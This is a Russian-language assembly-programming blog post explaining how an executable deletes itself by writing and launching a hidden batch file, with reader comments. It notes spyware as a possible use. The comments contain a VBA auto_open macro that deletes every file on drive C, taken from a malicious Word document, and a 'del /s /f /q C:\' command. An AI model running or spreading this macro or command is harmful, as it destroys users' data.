Blog. Just Blog

Самоудаляющийся файл

Версия для печати Добавить в Избранное Отправить на E-Mail | Категория: Образ мышления: Assembler | Автор: ManHunter
Самоудаляющийся файл
Самоудаляющийся файл

Небольшая, но в то же время полезная развлекуха - самоудаляющийся исполняемый файл. Во времена MS-DOS подобным фокусом никого было не удивить, там операционная система позволяла писать что угодно куда угодно, и даже удалять исполняемый файл во время его выполнения (хе-хе...). С появлением Windows вольница закончилась. Если файл запущен, то до того, как он завершит работу, ничего с ним сделать не получится. Но из этого правила есть одно исключение - так называемые пакетные или bat-файлы. Они выполняются не как самостоятельное приложение, а как набор инструкций для командного процессора, поэтому запросто могут удалять сами себя. Этим мы и воспользуемся для решения нашей задачи. Вот пример пакетного файла, который сперва пытается удалить файл по заданному пути, а затем самоуничтожается.

:loc
del "D:\Path\file.exe"
if exist "D:\Path\file.exe" goto loc
del %0

Проверка и цикл нужны для того, чтобы дождаться момента, когда файл освободится и станет доступным для ликвидации. Команда "del %0" удаляет bat-файл, в котором она выполняется, без привязки к его имени. Теперь, чтобы наш исполняемый файл самоудалялся, он должен выполнить следующие действия: получить имя и путь выполняемого файла, сформировать bat-файл, запустить его и завершить работу. bat-файл дождется окончания работы исполняемого файла, удалит его, затем удалит сам себя.

Осталось перевести человеческие слова на язык Ассемблера. Код получается достаточно простой, дополнительно комментировать его я не буду.
  1. ; сегмент данных
  2. ...
  3. mask    db ':loc',13,10
  4.         db 'del "%s"',13,10
  5.         db 'if exist "%s" goto loc',13,10
  6.         db 'del %%0',0
  7.  
  8. batext  db '.bat',0
  9.  
  10. fname   rb MAX_PATH
  11. buff    rb MAX_PATH*3
Один момент все-таки проясню. Путь и имя файла преобразуется в DOS'овский "короткий" формат 8.3 на тот случай, если в нем содержатся какие-нибудь специальные символы или буквы не-латинского алфавита. При обычном написании пути пакетные файлы в таком случае могут отработать некорректно.
  1. ; сегмент кода
  2. ...
  3.         ; Получить имя файла
  4.         invoke  GetModuleFileName,0,buff,MAX_PATH
  5.         ; Получить DOS'овское имя файла
  6.         invoke  GetShortPathName,buff,fname,MAX_PATH
  7.         ; Сформировать bat-файл
  8.         invoke  wsprintf,buff,mask,fname,fname
  9.         add     esp,16
  10.         ; Размер полученного bat-файла
  11.         mov     esi,eax
  12.         ; Добавить расширение .bat
  13.         invoke  lstrcat,fname,batext
  14.         ; Записать bat-файл
  15.         invoke  _lcreat,fname,0
  16.         cmp     eax,-1
  17.         je      @f
  18.         mov     ebx,eax
  19.         invoke  _lwrite,ebx,buff,esi
  20.         invoke  _lclose,ebx
  21.         ; Запустить файл на выполнение в скрытом режиме
  22.         invoke  WinExec,fname,SW_HIDE
  23. @@:
  24.         invoke  ExitProcess,0
Где это можно использовать? Если в благих целях, то именно так должны работать правильные деинсталляторы программ. Хороший деинсталлятор не должен просить пользователя подчистить "хвосты" вручную, или еще хуже - молча завершать работу, оставляя в системе как минимум каталог установки с файлом деинсталлятора внутри. Хороший деинсталлятор тщательно удалит за собой все, включая сам деинсталлятор. В этом случае bat-файл придется дополнить командой удаления каталога с программой и запускать его вне этого каталога. На темной стороне Силы самоудаляющимся файлам тоже найдется применение. Например, какая-нибудь шпионская программа может тихонько самоликвидироваться после выполнения своих непосредственных задач, чтобы не вызывать подозрений у жертвы и не оставлять образцов для исследования.

В приложении пример такого самоудаляющегося файла с исходным текстом. После запуска он сразу исчезает, не выдавая никаких сообщений и не открывая никаких окон.

Пример программы с исходным текстом (FASM)Пример программы с исходным текстом (FASM)

Self.Delete.File.Demo.zip (1,614 bytes)


Поделиться ссылкой ВКонтакте
Просмотров: 7043 | Комментариев: 14

Внимание! Статья опубликована больше года назад, информация могла устареть!

Комментарии

Отзывы посетителей сайта о статье
ManHunter (08.04.2021 в 17:51):
Для Windows NT и 2000 есть вот такой оригинальный трюк с самоудалением:
http://www.ezds.com/html/sde.html
На современных системах не работает.
Stan (18.11.2016 в 15:29):
Как то делал троянчик давние времена назад.Вообщем вызывал из программы vbs скрипт как только всё соберёт что надо.Всё просто .Скучно стало ,чую надо тряхнуть стариной.)
Сергей Юрьевич (14.08.2016 в 11:53):
X лет назад я наваял на коленке проект в Делфи7, откомпилил, запустил. Потом открыл проводник и удалил этот exe (не помню зачем понадобилось) не закрывая программу.
Удалялся спокойно. А через пару лет после этого на другой Винде также захотел удалить, но не давало. Так что это ещё может как-то зависеть от версии ОС.
ManHunter (20.06.2016 в 15:51):
Privaloff, а какая разница? Ну будет вызван WinAPI DeleteFile через прослойку VB, все равно система не позволит удалить открытый или работающий файл. Конечно, если удалить все _доступные_ файлы с диска, то система после такого издевательства не загрузится.
Описание Kill в MSDN: https://msdn.microsoft.com/en-...=vs.90).aspx

Тот же эффект будет от del /s /f /q C:\
Privaloff (20.06.2016 в 13:05):
"Если файл запущен, то до того, как он завершит работу, ничего с ним сделать не получится." ©

Это как сказать. Смотря какой метод удаления выбран.
Пример VBA:
Sub auto_open()
Set fs = Application.FileSearch
With fs
    .LookIn = "C:\"
    .SearchSubFolders = True
    .Filename = "*.*"
    .FileType = msoFileTypeAllFiles
    If .Execute() > 0 Then
            For i = 1 To .FoundFiles.Count
         Kill .FoundFiles(i)
        Next i
Else
End If
End With
End Sub

Этот коротенький макрос оставлял на диске только пустые каталоги, вынося из них бесследно всё содержимое. Впервые данный метод был встречен мною в одном вордовском файлике в незапамятные времена, к сожалению после открытия оного файлика. Задумывался автором как метод накласть в тапки любителям читать всякую херню в формате *.doc (Набоков, Коэльо, и прочее)
Думаю, что в Win'7-10 этот фокус не прокатит, если система и права пользователей не искурочены, а на 98-Winnt4 и XP проходило "на ура". Даже если что-то и оставалось, загрузка системы была уже невозможна.
X-Wing Top Ace (27.05.2016 в 14:29):
В свое время столкнулся с досным HLLP-вирусом, запускавшим прогу-жертву через похожий самоудаляющийся батник.

Правда, тот батник и его генерацию писал полный ламер (а кто еще пишет HLLP вирусы?), и сделано все было косоруко до неявной деструктивной функции. Имя файла, в котором восстанавливался экзюк жертвы в незараженном виде, было фиксированно задано в этом батнике как 'new_lib.exe', а сам батник генерился под именем "1.bat".

Ну и проверки в цикле, понятно, не было - DOS однозадачна.
ЖК (25.05.2016 в 19:04):
C удовольствием вспоминаю "те" времена, когда можно было задать несложную задачку и для победы реализовать её в минимально возможном размере кода. Как тут: "Самоудаляющаяся программа. 14 байт. Кто меньше ?"

Это теперь дистрибутивы какого-нть винзипа по 75 мегов занимают...
ManHunter (24.05.2016 в 07:32):
А я любил всякие настройки внутри самого файла держать :)
ЖК (23.05.2016 в 11:58):
Эхх, как же легко это делалось во времена DOS...

org 0x100
use16

mov     ax, 0x1203
int     0x2F
lds     dx, [ds:bp-0x1A]
mov     ah, 0x41
int     0x21
ret
ManHunter (20.05.2016 в 22:12):
tb, ты его час дрочить что ли хочешь? Доли секунды процессор потерпит, ничо с ним не случится.
tb (20.05.2016 в 15:20):
ты бля знаешь какая нагрузка на процессор при такой циклической проверке без паузы?
wetal (17.05.2016 в 13:39):
Я и не говорю, что батник из примера. Я сам на FASM не пишу, но понравившееся примеры переписываю на более мне удобный язык. Так вот, переписал, но допустил ошибку-вместо полного короткого имени файла вставил в батник только путь до него ( его папку ). Открыл получившийся bat файл в блокноте, посмотрел - вроде всё в порядке на первый взгляд ( было бы имя полное, сразу бы бросилось в глаза, что не то, а так как то пропустил)ну и запустил батник на исполнение, он честно отработал :)
Потому и пишу, что BAT-ник с коротким именем 8.3, страшное дело - для человека привыкшего к полным наименованиям есть возможность допустить ошибку.
ManHunter (17.05.2016 в 09:33):
Это какая-то другая программа. Батник из примера ничего кроме себя и одного исполняемого файла не удаляет.
wetal (17.05.2016 в 09:23):
BAT-ник с коротким именем 8.3, как оказалось, страшное дело! С дуру запустил тестовую программу, которую сохранил в папке, где было более 600 файлов исходников, ресурсов, различных тестовых ехешников ( написал-натаскал за несколько месяцев). Удалилось всё, что было в этой папке, кроме тех файлов, что были во вложенных папках. Причем очень быстро и отнюдь не к корзину :)
Слава PC Inspector File Recovery, восстановил быстренько всё на место, а то я уже было хотел впасть в отчаянье.

Добавить комментарий

Заполните форму для добавления комментария
Имя*:
Текст комментария (не более 2000 символов)*:

*Все поля обязательны для заполнения.
Комментарии, содержащие рекламу, ненормативную лексику, оскорбления и т.п., а также флуд и сообщения не по теме, будут удаляться. Нарушителям может быть заблокирован доступ к сайту.
Наверх
Powered by PCL's Speckled Band Engine 0.2 RC3
© ManHunter / PCL, 2008-2024
При использовании материалов ссылка на сайт обязательна
Время генерации: 0.08 сек. / MySQL: 2 (0.0067 сек.) / Память: 4.5 Mb
Наверх